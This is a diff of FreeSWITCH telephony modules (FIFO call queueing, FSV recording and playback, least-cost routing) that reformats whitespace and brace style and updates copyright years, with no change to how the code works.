digest, fifo_name, fifo_name, name_dup, originate_string, simo_count, 0, timeout, lag, 0, (long)expires, globals.hostname
|
||||
);
|
||||
digest, fifo_name, fifo_name, name_dup, originate_string, simo_count, 0, timeout, lag, 0, (long) expires, globals.hostname);
|
||||
switch_assert(sql);
|
||||
fifo_execute_sql(sql, globals.sql_mutex);
|
||||
free(sql);
|
||||
free(name_dup);
|
||||
|
||||
|
||||
}
|
||||
|
||||
static void fifo_member_del(char *fifo_name, char *originate_string)
|
||||
@@ -2143,7 +2144,7 @@ static void fifo_member_del(char *fifo_name, char *originate_string)
|
||||
char *sql;
|
||||
|
||||
switch_md5_string(digest, (void *) originate_string, strlen(originate_string));
|
||||
|
||||
|
||||
sql = switch_mprintf("delete from fifo_outbound where fifo_name='%q' and uuid = '%q' and hostname='%q'", fifo_name, digest, globals.hostname);
|
||||
switch_assert(sql);
|
||||
fifo_execute_sql(sql, globals.sql_mutex);
|
||||
@@ -2167,7 +2168,7 @@ SWITCH_STANDARD_API(fifo_member_api_function)
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
if (zstr(cmd)){
|
||||
if (zstr(cmd)) {
|
||||
stream->write_function(stream, "-USAGE: %s\n", FIFO_MEMBER_API_SYNTAX);
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
@@ -2181,11 +2182,11 @@ SWITCH_STANDARD_API(fifo_member_api_function)
|
||||
stream->write_function(stream, "%s", "-ERR Invalid!\n");
|
||||
goto done;
|
||||
}
|
||||
|
||||
|
||||
action = argv[0];
|
||||
fifo_name = argv[1];
|
||||
originate_string = argv[2];
|
||||
|
||||
|
||||
if (action && !strcasecmp(action, "add")) {
|
||||
if (argc > 3) {
|
||||
simo_count = atoi(argv[3]);
|
||||
@@ -2208,7 +2209,7 @@ SWITCH_STANDARD_API(fifo_member_api_function)
|
||||
if (lag < 0) {
|
||||
lag = 5;
|
||||
}
|
||||
|
||||
|
||||
fifo_member_add(fifo_name, originate_string, simo_count, timeout, lag, expires);
|
||||
stream->write_function(stream, "%s", "+OK\n");
|
||||
} else if (action && !strcasecmp(action, "del")) {
|
||||
@@ -2240,7 +2241,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_fifo_load)
|
||||
}
|
||||
|
||||
/* Subscribe to presence request events */
|
||||
if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_PROBE, SWITCH_EVENT_SUBCLASS_ANY,
|
||||
if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_PROBE, SWITCH_EVENT_SUBCLASS_ANY,
|
||||
pres_event_handler, NULL, &globals.node) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't subscribe to presence request events!\n");
|
||||
return SWITCH_STATUS_GENERR;
|
||||
@@ -2250,10 +2251,10 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_fifo_load)
|
||||
switch_core_hash_init(&globals.fifo_hash, globals.pool);
|
||||
switch_mutex_init(&globals.mutex, SWITCH_MUTEX_NESTED, globals.pool);
|
||||
switch_mutex_init(&globals.sql_mutex, SWITCH_MUTEX_NESTED, globals.pool);
|
||||
|
||||
|
||||
globals.running = 1;
|
||||
|
||||
if ((status = load_config(0,1)) != SWITCH_STATUS_SUCCESS) {
|
||||
|
||||
if ((status = load_config(0, 1)) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_event_unbind(&globals.node);
|
||||
switch_event_free_subclass(FIFO_EVENT);
|
||||
switch_core_hash_destroy(&globals.fifo_hash);
|
||||
@@ -2287,24 +2288,24 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_fifo_shutdown)
|
||||
fifo_node_t *node;
|
||||
switch_memory_pool_t *pool = globals.pool;
|
||||
switch_mutex_t *mutex = globals.mutex;
|
||||
|
||||
|
||||
switch_event_unbind(&globals.node);
|
||||
switch_event_free_subclass(FIFO_EVENT);
|
||||
|
||||
|
||||
switch_mutex_lock(mutex);
|
||||
|
||||
globals.running = 0;
|
||||
/* Cleanup */
|
||||
|
||||
|
||||
if (globals.node_thread_running) {
|
||||
stop_node_thread();
|
||||
}
|
||||
|
||||
|
||||
while ((hi = switch_hash_first(NULL, globals.fifo_hash))) {
|
||||
int x = 0;
|
||||
switch_hash_this(hi, NULL, NULL, &val);
|
||||
node = (fifo_node_t *) val;
|
||||
|
||||
|
||||
switch_thread_rwlock_wrlock(node->rwlock);
|
||||
for (x = 0; x < MAX_PRI; x++) {
|
||||
while (switch_queue_trypop(node->fifo_list[x], &pop) == SWITCH_STATUS_SUCCESS) {
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -107,7 +107,7 @@ SWITCH_STANDARD_APP(record_fsv_function)
|
||||
int fd;
|
||||
switch_mutex_t *mutex = NULL;
|
||||
switch_codec_t codec, *vid_codec;
|
||||
switch_codec_implementation_t read_impl = {0};
|
||||
switch_codec_implementation_t read_impl = { 0 };
|
||||
switch_core_session_get_read_impl(session, &read_impl);
|
||||
|
||||
switch_channel_answer(channel);
|
||||
@@ -227,8 +227,8 @@ SWITCH_STANDARD_APP(play_fsv_function)
|
||||
uint32_t ts = 0, last = 0;
|
||||
switch_timer_t timer = { 0 };
|
||||
switch_payload_t pt = 0;
|
||||
switch_codec_implementation_t read_impl = {0};
|
||||
switch_core_session_get_read_impl(session, &read_impl);
|
||||
switch_codec_implementation_t read_impl = { 0 };
|
||||
switch_core_session_get_read_impl(session, &read_impl);
|
||||
|
||||
aud_buffer = switch_core_session_alloc(session, SWITCH_RECOMMENDED_BUFFER_SIZE);
|
||||
vid_buffer = switch_core_session_alloc(session, SWITCH_RECOMMENDED_BUFFER_SIZE);
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -122,7 +122,7 @@ struct profile_obj {
|
||||
switch_bool_t profile_has_intrastate;
|
||||
switch_bool_t profile_has_intralata;
|
||||
switch_bool_t profile_has_npanxx;
|
||||
|
||||
|
||||
switch_bool_t reorder_by_rate;
|
||||
switch_bool_t quote_in_list;
|
||||
switch_bool_t info_in_headers;
|
||||
@@ -173,21 +173,21 @@ static const char *do_cid(switch_memory_pool_t *pool, const char *cid, const cha
|
||||
char *src_regex = NULL;
|
||||
char *dst_regex = NULL;
|
||||
switch_channel_t *channel = NULL;
|
||||
|
||||
|
||||
if (!zstr(cid)) {
|
||||
len = strlen(cid);
|
||||
} else {
|
||||
goto done;
|
||||
}
|
||||
|
||||
|
||||
src = switch_core_strdup(pool, cid);
|
||||
/* check that this is a valid regexp and split the string */
|
||||
|
||||
if ((src[0] == '/') && src[len-1] == '/') {
|
||||
|
||||
if ((src[0] == '/') && src[len - 1] == '/') {
|
||||
/* strip leading / trailing slashes */
|
||||
src[len-1] = '\0';
|
||||
src[len - 1] = '\0';
|
||||
src++;
|
||||
|
||||
|
||||
/* break on first / */
|
||||
dst = strchr(src, '/');
|
||||
*dst = '\0';
|
||||
@@ -216,12 +216,12 @@ static const char *do_cid(switch_memory_pool_t *pool, const char *cid, const cha
|
||||
switch_safe_free(tmp_regex);
|
||||
dst = dst_regex;
|
||||
}
|
||||
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "expanded src: %s, dst: %s\n", src, dst);
|
||||
}
|
||||
|
||||
|
||||
if ((proceed = switch_regex_perform(number, src, &re, ovector, sizeof(ovector) / sizeof(ovector[0])))) {
|
||||
len = (uint32_t) (strlen(src) + strlen(dst) + 10) * proceed; /* guestimate size */
|
||||
len = (uint32_t) (strlen(src) + strlen(dst) + 10) * proceed; /* guestimate size */
|
||||
if (!(substituted = switch_core_alloc(pool, len))) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Memory Error!\n");
|
||||
goto done;
|
||||
@@ -233,77 +233,71 @@ static const char *do_cid(switch_memory_pool_t *pool, const char *cid, const cha
|
||||
}
|
||||
|
||||
switch_regex_safe_free(re);
|
||||
|
||||
|
||||
return substituted;
|
||||
|
||||
done:
|
||||
|
||||
done:
|
||||
switch_regex_safe_free(re);
|
||||
return number;
|
||||
}
|
||||
|
||||
static char *get_bridge_data(switch_memory_pool_t *pool, char *dialed_number, char *caller_id, lcr_route cur_route, profile_t *profile, switch_core_session_t *session)
|
||||
static char *get_bridge_data(switch_memory_pool_t *pool, char *dialed_number, char *caller_id, lcr_route cur_route, profile_t *profile,
|
||||
switch_core_session_t *session)
|
||||
{
|
||||
size_t lstrip;
|
||||
size_t tstrip;
|
||||
size_t tstrip;
|
||||
char *data = NULL;
|
||||
char *destination_number = NULL;
|
||||
char *orig_destination_number = NULL;
|
||||
char *orig_destination_number = NULL;
|
||||
char *codec = NULL;
|
||||
char *cid = NULL;
|
||||
char *header = NULL;
|
||||
char *user_rate = NULL;
|
||||
|
||||
orig_destination_number = destination_number = switch_core_strdup(pool, dialed_number);
|
||||
|
||||
|
||||
tstrip = ((cur_route->digit_len - cur_route->tstrip) + 1);
|
||||
lstrip = cur_route->lstrip;
|
||||
|
||||
|
||||
if (cur_route->tstrip > 0) {
|
||||
if (strlen(destination_number) > tstrip) {
|
||||
destination_number[tstrip] = '\0';
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
destination_number[0] = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (cur_route->lstrip > 0) {
|
||||
if (strlen(destination_number) > lstrip) {
|
||||
destination_number += lstrip;
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
destination_number[0] = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
codec = "";
|
||||
if (!zstr(cur_route->codec)) {
|
||||
codec = switch_core_sprintf(pool, ",absolute_codec_string=%s", cur_route->codec);
|
||||
}
|
||||
|
||||
|
||||
cid = "";
|
||||
if (!zstr(cur_route->cid)) {
|
||||
cid = switch_core_sprintf(pool, ",origination_caller_id_number=%s",
|
||||
do_cid(pool, cur_route->cid, caller_id, session));
|
||||
cid = switch_core_sprintf(pool, ",origination_caller_id_number=%s", do_cid(pool, cur_route->cid, caller_id, session));
|
||||
}
|
||||
|
||||
|
||||
header = "";
|
||||
if (profile->info_in_headers) {
|
||||
header = switch_core_sprintf(pool, ",sip_h_X-LCR-INFO=lcr_rate=%s;lcr_carrier=%s",
|
||||
cur_route->rate_str,
|
||||
cur_route->carrier_name);
|
||||
header = switch_core_sprintf(pool, ",sip_h_X-LCR-INFO=lcr_rate=%s;lcr_carrier=%s", cur_route->rate_str, cur_route->carrier_name);
|
||||
}
|
||||
|
||||
|
||||
if (zstr(cur_route->user_rate_str)) {
|
||||
user_rate = "";
|
||||
} else {
|
||||
user_rate = switch_core_sprintf(pool, ",lcr_user_rate=%s", cur_route->user_rate_str);
|
||||
}
|
||||
|
||||
data = switch_core_sprintf(pool, "[lcr_carrier=%s,lcr_rate=%s%s%s%s%s]%s%s%s%s%s"
|
||||
, cur_route->carrier_name, cur_route->rate_str
|
||||
, user_rate, codec, cid, header
|
||||
, cur_route->gw_prefix, cur_route->prefix
|
||||
, destination_number, cur_route->suffix, cur_route->gw_suffix);
|
||||
|
||||
|
||||
data =
|
||||
switch_core_sprintf(pool, "[lcr_carrier=%s,lcr_rate=%s%s%s%s%s]%s%s%s%s%s", cur_route->carrier_name, cur_route->rate_str, user_rate, codec, cid,
|
||||
header, cur_route->gw_prefix, cur_route->prefix, destination_number, cur_route->suffix, cur_route->gw_suffix);
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Returning Dialstring %s\n", data);
|
||||
return data;
|
||||
}
|
||||
@@ -311,13 +305,13 @@ static char *get_bridge_data(switch_memory_pool_t *pool, char *dialed_number, ch
|
||||
static profile_t *locate_profile(const char *profile_name)
|
||||
{
|
||||
profile_t *profile = NULL;
|
||||
|
||||
|
||||
if (zstr(profile_name)) {
|
||||
profile = globals.default_profile;
|
||||
} else if (!(profile = switch_core_hash_find(globals.profile_hash, profile_name))) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error invalid profile %s\n", profile_name);
|
||||
}
|
||||
|
||||
|
||||
return profile;
|
||||
}
|
||||
|
||||
@@ -365,7 +359,7 @@ static switch_status_t process_max_lengths(max_obj_t *maxes, lcr_route routes, c
|
||||
if (current->digit_str != NULL) {
|
||||
if (current->digit_len > maxes->digit_str) {
|
||||
maxes->digit_str = current->digit_len;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (current->rate_str != NULL) {
|
||||
this_len = strlen(current->rate_str);
|
||||
@@ -374,7 +368,7 @@ static switch_status_t process_max_lengths(max_obj_t *maxes, lcr_route routes, c
|
||||
}
|
||||
}
|
||||
if (current->codec != NULL) {
|
||||
this_len= strlen(current->codec);
|
||||
this_len = strlen(current->codec);
|
||||
if (this_len > maxes->codec) {
|
||||
maxes->codec = this_len;
|
||||
}
|
||||
@@ -393,13 +387,14 @@ static switch_cache_db_handle_t *lcr_get_db_handle(void)
|
||||
{
|
||||
switch_cache_db_connection_options_t options = { {0} };
|
||||
switch_cache_db_handle_t *dbh = NULL;
|
||||
|
||||
|
||||
if (!zstr(globals.odbc_dsn)) {
|
||||
options.odbc_options.dsn = globals.odbc_dsn;
|
||||
options.odbc_options.user = globals.odbc_user;
|
||||
options.odbc_options.pass = globals.odbc_pass;
|
||||
|
||||
if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
|
||||
if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS)
|
||||
dbh = NULL;
|
||||
}
|
||||
return dbh;
|
||||
}
|
||||
@@ -430,23 +425,23 @@ static switch_bool_t set_db_random()
|
||||
db_random = "random()";
|
||||
return SWITCH_TRUE;
|
||||
}
|
||||
|
||||
|
||||
return SWITCH_FALSE;
|
||||
}
|
||||
|
||||
/* make a new string with digits only */
|
||||
static char *string_digitsonly(switch_memory_pool_t *pool, const char *str)
|
||||
static char *string_digitsonly(switch_memory_pool_t *pool, const char *str)
|
||||
{
|
||||
char *p, *np, *newstr;
|
||||
size_t len;
|
||||
|
||||
p = (char *)str;
|
||||
p = (char *) str;
|
||||
|
||||
len = strlen(str);
|
||||
newstr = switch_core_alloc(pool, len+1);
|
||||
newstr = switch_core_alloc(pool, len + 1);
|
||||
np = newstr;
|
||||
|
||||
while(*p) {
|
||||
|
||||
while (*p) {
|
||||
if (switch_isdigit(*p)) {
|
||||
*np = *p;
|
||||
np++;
|
||||
@@ -478,14 +473,10 @@ static char *expand_digits(switch_memory_pool_t *pool, char *digits, switch_bool
|
||||
|
||||
digit_len = strlen(digits);
|
||||
digits_copy = switch_core_strdup(pool, digits);
|
||||
|
||||
|
||||
for (n = digit_len; n > 0; n--) {
|
||||
digits_copy[n] = '\0';
|
||||
dig_stream.write_function(&dig_stream, "%s%s%s%s",
|
||||
(n==digit_len ? "" : ", "),
|
||||
(quote ? "'" : ""),
|
||||
digits_copy,
|
||||
(quote ? "'" : ""));
|
||||
dig_stream.write_function(&dig_stream, "%s%s%s%s", (n == digit_len ? "" : ", "), (quote ? "'" : ""), digits_copy, (quote ? "'" : ""));
|
||||
}
|
||||
|
||||
ret = switch_core_strdup(pool, dig_stream.data);
|
||||
@@ -496,42 +487,41 @@ static char *expand_digits(switch_memory_pool_t *pool, char *digits, switch_bool
|
||||
/* format the custom sql */
|
||||
static char *format_custom_sql(const char *custom_sql, callback_t *cb_struct, const char *digits)
|
||||
{
|
||||
char * tmpSQL = NULL;
|
||||
char * newSQL = NULL;
|
||||
char *tmpSQL = NULL;
|
||||
char *newSQL = NULL;
|
||||
switch_channel_t *channel;
|
||||
|
||||
|
||||
/* first replace %s with digits to maintain backward compat */
|
||||
if (cb_struct->profile->custom_sql_has_percent == SWITCH_TRUE) {
|
||||
tmpSQL = switch_string_replace(custom_sql, "%q", digits);
|
||||
newSQL = tmpSQL;
|
||||
}
|
||||
|
||||
|
||||
/* expand the vars */
|
||||
if (cb_struct->profile->custom_sql_has_vars == SWITCH_TRUE) {
|
||||
if (cb_struct->session) {
|
||||
channel = switch_core_session_get_channel(cb_struct->session);
|
||||
switch_assert(channel);
|
||||
/*
|
||||
newSQL = switch_channel_expand_variables_escape(channel,
|
||||
tmpSQL ? tmpSQL : custom_sql,
|
||||
escape_sql);
|
||||
*/
|
||||
newSQL = switch_channel_expand_variables(channel,
|
||||
tmpSQL ? tmpSQL : custom_sql);
|
||||
newSQL = switch_channel_expand_variables_escape(channel,
|
||||
tmpSQL ? tmpSQL : custom_sql,
|
||||
escape_sql);
|
||||
*/
|
||||
newSQL = switch_channel_expand_variables(channel, tmpSQL ? tmpSQL : custom_sql);
|
||||
} else if (cb_struct->event) {
|
||||
/* use event system to expand vars */
|
||||
newSQL = switch_event_expand_headers(cb_struct->event, tmpSQL ? tmpSQL : custom_sql);
|
||||
|
||||
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_CRIT,
|
||||
"mod_lcr called without a valid session while using a custom_sql that has channel variables.\n");
|
||||
"mod_lcr called without a valid session while using a custom_sql that has channel variables.\n");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (tmpSQL != newSQL) {
|
||||
switch_safe_free(tmpSQL);
|
||||
}
|
||||
|
||||
|
||||
if (newSQL == NULL) {
|
||||
return (char *) custom_sql;
|
||||
} else {
|
||||
@@ -543,10 +533,10 @@ static switch_bool_t lcr_execute_sql_callback(char *sql, switch_core_db_callback
|
||||
{
|
||||
switch_bool_t retval = SWITCH_FALSE;
|
||||
switch_cache_db_handle_t *dbh = NULL;
|
||||
|
||||
|
||||
if (globals.odbc_dsn && (dbh = lcr_get_db_handle())) {
|
||||
if (switch_cache_db_execute_sql_callback(dbh, sql, callback, pdata, NULL)
|
||||
== SWITCH_ODBC_FAIL) {
|
||||
== SWITCH_ODBC_FAIL) {
|
||||
retval = SWITCH_FALSE;
|
||||
} else {
|
||||
retval = SWITCH_TRUE;
|
||||
@@ -562,23 +552,21 @@ static int route_add_callback(void *pArg, int argc, char **argv, char **columnNa
|
||||
lcr_route current = NULL;
|
||||
callback_t *cbt = (callback_t *) pArg;
|
||||
char *key = NULL;
|
||||
|
||||
|
||||
switch_memory_pool_t *pool = cbt->pool;
|
||||
|
||||
|
||||
|
||||
|
||||
if (argc < LCR_QUERY_COLS_REQUIRED) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT,
|
||||
"Unexpected number of columns returned for SQL. Returned column count: %d. "
|
||||
"If using a custom sql for this profile, verify it is correct. Otherwise file a bug report.\n",
|
||||
argc);
|
||||
"Unexpected number of columns returned for SQL. Returned column count: %d. "
|
||||
"If using a custom sql for this profile, verify it is correct. Otherwise file a bug report.\n", argc);
|
||||
return SWITCH_STATUS_GENERR;
|
||||
}
|
||||
|
||||
if (zstr(argv[LCR_GW_PREFIX_PLACE]) && zstr(argv[LCR_GW_SUFFIX_PLACE]) ) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
|
||||
"There's no way to dial this Gateway: Carrier: \"%s\" Prefix: \"%s\", Suffix \"%s\"\n",
|
||||
switch_str_nil(argv[LCR_CARRIER_PLACE]),
|
||||
switch_str_nil(argv[LCR_GW_PREFIX_PLACE]), switch_str_nil(argv[LCR_GW_SUFFIX_PLACE]));
|
||||
if (zstr(argv[LCR_GW_PREFIX_PLACE]) && zstr(argv[LCR_GW_SUFFIX_PLACE])) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
|
||||
"There's no way to dial this Gateway: Carrier: \"%s\" Prefix: \"%s\", Suffix \"%s\"\n",
|
||||
switch_str_nil(argv[LCR_CARRIER_PLACE]), switch_str_nil(argv[LCR_GW_PREFIX_PLACE]), switch_str_nil(argv[LCR_GW_SUFFIX_PLACE]));
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -590,7 +578,7 @@ static int route_add_callback(void *pArg, int argc, char **argv, char **columnNa
|
||||
additional->suffix = switch_core_strdup(pool, switch_str_nil(argv[LCR_SUFFIX_PLACE]));
|
||||
additional->prefix = switch_core_strdup(pool, switch_str_nil(argv[LCR_PREFIX_PLACE]));
|
||||
additional->carrier_name = switch_core_strdup(pool, switch_str_nil(argv[LCR_CARRIER_PLACE]));
|
||||
additional->rate = (float)atof(switch_str_nil(argv[LCR_RATE_PLACE]));
|
||||
additional->rate = (float) atof(switch_str_nil(argv[LCR_RATE_PLACE]));
|
||||
additional->rate_str = switch_core_sprintf(pool, "%0.5f", additional->rate);
|
||||
additional->gw_prefix = switch_core_strdup(pool, switch_str_nil(argv[LCR_GW_PREFIX_PLACE]));
|
||||
additional->gw_suffix = switch_core_strdup(pool, switch_str_nil(argv[LCR_GW_SUFFIX_PLACE]));
|
||||
@@ -603,7 +591,7 @@ static int route_add_callback(void *pArg, int argc, char **argv, char **columnNa
|
||||
additional->cid = switch_core_strdup(pool, switch_str_nil(argv[LCR_CID_PLACE]));
|
||||
}
|
||||
if (argc > LCR_USER_RATE_PLACE) {
|
||||
additional->user_rate = (float)atof(switch_str_nil(argv[LCR_USER_RATE_PLACE]));
|
||||
additional->user_rate = (float) atof(switch_str_nil(argv[LCR_USER_RATE_PLACE]));
|
||||
additional->user_rate_str = switch_core_sprintf(pool, "%0.5f", additional->user_rate);
|
||||
}
|
||||
additional->dialstring = get_bridge_data(pool, cbt->lookup_number, cbt->cid, additional, cbt->profile, cbt->session);
|
||||
@@ -620,14 +608,12 @@ static int route_add_callback(void *pArg, int argc, char **argv, char **columnNa
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
|
||||
for (current = cbt->head; current; current = current->next) {
|
||||
|
||||
|
||||
key = switch_core_sprintf(pool, "%s:%s", additional->gw_prefix, additional->gw_suffix);
|
||||
if (switch_core_hash_find(cbt->dedup_hash, key)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
|
||||
"Ignoring Duplicate route for termination point (%s)\n",
|
||||
key);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Ignoring Duplicate route for termination point (%s)\n", key);
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -647,13 +633,12 @@ static int route_add_callback(void *pArg, int argc, char **argv, char **columnNa
|
||||
if (current->rate > additional->rate) {
|
||||
/* insert myself here */
|
||||
if (current->prev != NULL) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Adding %s before %s\n",
|
||||
additional->carrier_name, current->carrier_name);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Adding %s before %s\n", additional->carrier_name, current->carrier_name);
|
||||
current->prev->next = additional;
|
||||
} else {
|
||||
/* put this one at the head */
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Inserting %s to list head before %s\n",
|
||||
additional->carrier_name, current->carrier_name);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Inserting %s to list head before %s\n",
|
||||
additional->carrier_name, current->carrier_name);
|
||||
cbt->head = additional;
|
||||
}
|
||||
additional->next = current;
|
||||
@@ -665,7 +650,7 @@ static int route_add_callback(void *pArg, int argc, char **argv, char **columnNa
|
||||
break;
|
||||
} else if (current->next == NULL) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "adding %s to end of list after %s\n",
|
||||
additional->carrier_name, current->carrier_name);
|
||||
additional->carrier_name, current->carrier_name);
|
||||
current->next = additional;
|
||||
additional->prev = current;
|
||||
if (switch_core_hash_insert(cbt->dedup_hash, key, additional) != SWITCH_STATUS_SUCCESS) {
|
||||
@@ -683,7 +668,7 @@ static int intrastatelata_callback(void *pArg, int argc, char **argv, char **col
|
||||
{
|
||||
int count = 0;
|
||||
callback_t *cbt = (callback_t *) pArg;
|
||||
|
||||
|
||||
count = atoi(argv[1]);
|
||||
if (count == 1) {
|
||||
if (!strcmp(argv[0], "state")) {
|
||||
@@ -693,19 +678,19 @@ static int intrastatelata_callback(void *pArg, int argc, char **argv, char **col
|
||||
}
|
||||
}
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Type: %s, Count: %d\n", argv[0], count);
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Type: %s, Count: %d\n", argv[0], count);
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
static switch_status_t is_intrastatelata(callback_t *cb_struct)
|
||||
{
|
||||
char *sql = NULL;
|
||||
|
||||
|
||||
/* extract npa nxx - make some assumptions about format:
|
||||
e164 format without the +
|
||||
NANP only (so 11 digits starting with 1)
|
||||
*/
|
||||
e164 format without the +
|
||||
NANP only (so 11 digits starting with 1)
|
||||
*/
|
||||
if (!cb_struct->lookup_number || (strlen(cb_struct->lookup_number) != 11 && *cb_struct->lookup_number != '1')) {
|
||||
/* dest doesn't appear to be NANP number */
|
||||
return SWITCH_STATUS_GENERR;
|
||||
@@ -714,29 +699,28 @@ static switch_status_t is_intrastatelata(callback_t *cb_struct)
|
||||
/* cid not NANP */
|
||||
return SWITCH_STATUS_GENERR;
|
||||
}
|
||||
|
||||
|
||||
/* assume that if the area code (plus leading 1) are the same we're intrastate */
|
||||
/* probably a bad assumption */
|
||||
/*
|
||||
if (!strncmp(cb_struct->lookup_number, cb_struct->cid, 4)) {
|
||||
cb_struct->intrastate = SWITCH_TRUE;
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
*/
|
||||
|
||||
if (!strncmp(cb_struct->lookup_number, cb_struct->cid, 4)) {
|
||||
cb_struct->intrastate = SWITCH_TRUE;
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
*/
|
||||
|
||||
sql = switch_core_sprintf(cb_struct->pool,
|
||||
"SELECT 'state', count(DISTINCT state) FROM npa_nxx_company_ocn WHERE (npa=%3.3s AND nxx=%3.3s) OR (npa=%3.3s AND nxx=%3.3s)"
|
||||
" UNION "
|
||||
"SELECT 'lata', count(DISTINCT lata) FROM npa_nxx_company_ocn WHERE (npa=%3.3s AND nxx=%3.3s) OR (npa=%3.3s AND nxx=%3.3s)",
|
||||
cb_struct->lookup_number+1, cb_struct->lookup_number+4,
|
||||
cb_struct->cid+1, cb_struct->cid+4,
|
||||
cb_struct->lookup_number+1, cb_struct->lookup_number+4,
|
||||
cb_struct->cid+1, cb_struct->cid+4);
|
||||
"SELECT 'state', count(DISTINCT state) FROM npa_nxx_company_ocn WHERE (npa=%3.3s AND nxx=%3.3s) OR (npa=%3.3s AND nxx=%3.3s)"
|
||||
" UNION "
|
||||
"SELECT 'lata', count(DISTINCT lata) FROM npa_nxx_company_ocn WHERE (npa=%3.3s AND nxx=%3.3s) OR (npa=%3.3s AND nxx=%3.3s)",
|
||||
cb_struct->lookup_number + 1, cb_struct->lookup_number + 4,
|
||||
cb_struct->cid + 1, cb_struct->cid + 4,
|
||||
cb_struct->lookup_number + 1, cb_struct->lookup_number + 4, cb_struct->cid + 1, cb_struct->cid + 4);
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_DEBUG, "SQL: %s\n", sql);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_DEBUG, "SQL: %s\n", sql);
|
||||
|
||||
return (lcr_execute_sql_callback(sql, intrastatelata_callback, cb_struct));
|
||||
|
||||
return(lcr_execute_sql_callback(sql, intrastatelata_callback, cb_struct));
|
||||
|
||||
}
|
||||
|
||||
static switch_status_t lcr_do_lookup(callback_t *cb_struct)
|
||||
@@ -752,26 +736,26 @@ static switch_status_t lcr_do_lookup(callback_t *cb_struct)
|
||||
char *safe_sql = NULL;
|
||||
char *rate_field = NULL;
|
||||
char *user_rate_field = NULL;
|
||||
|
||||
|
||||
switch_assert(cb_struct->lookup_number != NULL);
|
||||
|
||||
digits_copy = string_digitsonly(cb_struct->pool, digits);
|
||||
if (zstr(digits_copy)) {
|
||||
return SWITCH_STATUS_GENERR;
|
||||
}
|
||||
|
||||
|
||||
/* allocate the dedup hash */
|
||||
if (switch_core_hash_init(&cb_struct->dedup_hash, cb_struct->pool) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_ERROR, "Error initializing the dedup hash\n");
|
||||
return SWITCH_STATUS_GENERR;
|
||||
}
|
||||
|
||||
|
||||
digits_expanded = expand_digits(cb_struct->pool, digits_copy, cb_struct->profile->quote_in_list);
|
||||
|
||||
|
||||
